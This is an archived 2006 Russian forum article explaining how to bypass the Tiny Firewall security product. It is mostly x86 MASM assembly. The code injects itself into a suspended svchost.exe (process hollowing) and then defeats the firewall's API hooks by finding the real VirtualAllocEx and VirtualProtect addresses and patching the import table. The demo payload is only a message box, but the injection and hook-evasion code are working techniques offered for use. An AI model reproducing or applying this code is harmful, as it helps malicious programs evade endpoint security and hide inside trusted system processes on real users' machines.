Обход Tiny Firewall

Дата публикации 16 фев 2006

Обход Tiny Firewall — Архив WASM.RU

Tiny Firewall (дальше tf) представляет собой компактную и надёжную (я так думал) защиту. Но на практике всё оказывается не так хорошо, как мы думаем. Давайте посмотрим, как tf обеспечивает защиту (моя версия 6.5.126).

Создаём программу по мотивам Перехват API функций в Windows NT [Ms-Rem]:

Код (Text):
  1.  
  2. .data
  3. buffer      DB 500 dup(?)     ;Большой, но можно использовать не однократно
  4. szSvChost   db "svchost.exe",0
  5. .data?
  6. temp        DD ?
  7. sat         SECURITY_ATTRIBUTES <?>
  8. prog        STARTUPINFO <?>
  9. pi          PROCESS_INFORMATION <?>
  10.     mov     prog.cb, sizeof STARTUPINFO
  11.     mov prog.wShowWindow, SW_SHOW
  12. .code
  13. start:
  14.     mov edi, offset pi
  15.     invoke  CreateProcess, 0, offset szSvChost, 0, 0, 0, CREATE_SUSPENDED, 0, 0, offset prog, edi
  16.     test    eax, eax
  17.     jz  err
  18.  
  19.     invoke  GetModuleHandle, 0
  20.     mov [temp], eax
  21.     mov esi, eax
  22.     add eax, 3ch
  23.     add esi, dword ptr [eax]
  24.     add esi,50h
  25.     lodsd
  26.     push    eax
  27.  
  28.     invoke  VirtualAllocEx, [pi.hProcess], [temp], eax, MEM_COMMIT OR MEM_RESERVE, PAGE_EXECUTE_READWRITE  
  29.  
  30.     pop edx
  31.    
  32.     invoke  WriteProcessMemory, [pi.hProcess], eax, [temp], edx, offset buffer
  33.  
  34.     mov dword ptr [buffer+CONTEXT.ContextFlags], CONTEXT_FULL
  35.     invoke  GetThreadContext, [pi.hThread], offset buffer
  36.  
  37.     mov dword ptr [buffer+CONTEXT.regEip], offset otherstart
  38.     invoke  SetThreadContext, pi.hThread, offset buffer
  39.     invoke  ResumeThread, pi.hThread
  40.     invoke  ExitProcess, 0
  41. otherstart:
  42.     invoke  MessageBox,0,0,0,0
  43. err:
  44.     invoke  ExitProcess,0
  45. end start

Запускаем, в tf даёт права дефаулт и наблюдаем. Выскакивает сообщение, что прикрыты VirtualAllocEx и WriteProcessMemory. Давайте заглянем внутрь:

Сначала стоит джамп на функцию, якобы реальную (кстати эту строчку добавляет масм. В fasme такого нет).

00401188 $-FF25 1C204000 JMP DWORD PTR DS:[<&kernel32.VirtualAllocEx>] ; kernel32.VirtualAllocEx

Переходим:

Код (Text):
  1.  
  2. 7C809AA2 >-E9 690672E3      JMP UmxSbxw.5FF2A110
  3. 7C809AA7   90               NOP
  4. Уже интересней. Прыгнем ещё разок:
  5. 5FF2A110   50               PUSH EAX
  6. 5FF2A111   A1 FCA0F25F      MOV EAX,DWORD PTR DS:[5FF2A0FC]  ;Тут наши права
  7. 5FF2A116   A9 01000000      TEST EAX,1                       ;Сверяем
  8. 5FF2A11B   58               POP EAX
  9. 5FF2A11C   74 0D            JE SHORT UmxSbxw.5FF2A12B        ;Вот тут мы должны прыгнуть
  10. 5FF2A11E   58               POP EAX
  11. 5FF2A11F   68 1CA0F25F      PUSH UmxSbxw.5FF2A01C                           ; UNICODE "VirtualAllocEx"
  12. 5FF2A124   50               PUSH EAX
  13. 5FF2A125  -FF25 ECA0F25F    JMP DWORD PTR DS:[5FF2A0EC]                     ; UmxSbxw.5FF0606C
  14. 5FF2A12B  -FF25 E4A0F25F    JMP DWORD PTR DS:[5FF2A0E4]      ;Настоящая функция
  15. 5FF2A131   0000             ADD BYTE PTR DS:[EAX],AL

Напрашивается 2 решения:

1. Можно изменить DS:[5FF2A0FC] на 0
2. Можно получать адрес настощей функции

2-й вариант более элегантен, будем использовать его. Кстати, как ни странно, но для всех защищенных функций используется один и тот же код, что нам на руку.

Код (Text):
  1.  
  2.     mov     esi, offset VirtualProtect  ;Получаем джамп
  3.     mov     esi, [esi+2]                        ;Получаем адрес джампа
  4.     mov     esi, [esi]                            ;Прыгаем
  5.     mov     eax, [esi+1]                       ;ещё раз прыгаем
  6.     lea     esi, [esi+eax+5]                ;Вычисляем адрес "правильной" функции
  7.     add     esi, 1dh
  8.     lodsd
  9.     push                  [eax]
  10.     pop     [VirtualProtectR]

Таким образом в [VirtualProtectR] лежит настоящая VirtualProtect. А после того, как мы получили VirtualProtect мы можем поменять в таблице импорта адреса (только сначала надо дать им право на запись):

Код (Text):
  1.  
  2. MNApi   proc
  3. ;esi - procedure to make normal
  4. mov     esi, [edi+2]
  5.     mov     esi, [esi]
  6.     mov     eax, [esi+1]
  7.     lea     esi, [esi+eax+5]
  8.     add     esi, 1dh
  9.     lodsd
  10.     mov     [edi+2], eax
  11.    
  12.     ret 0
  13.  
  14. MNApi endp

А дальше работать как обычно, только обходя фаер. В аттаче лежит полная версия программы данной в начале статьи. © netw0rm


0 1.116
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532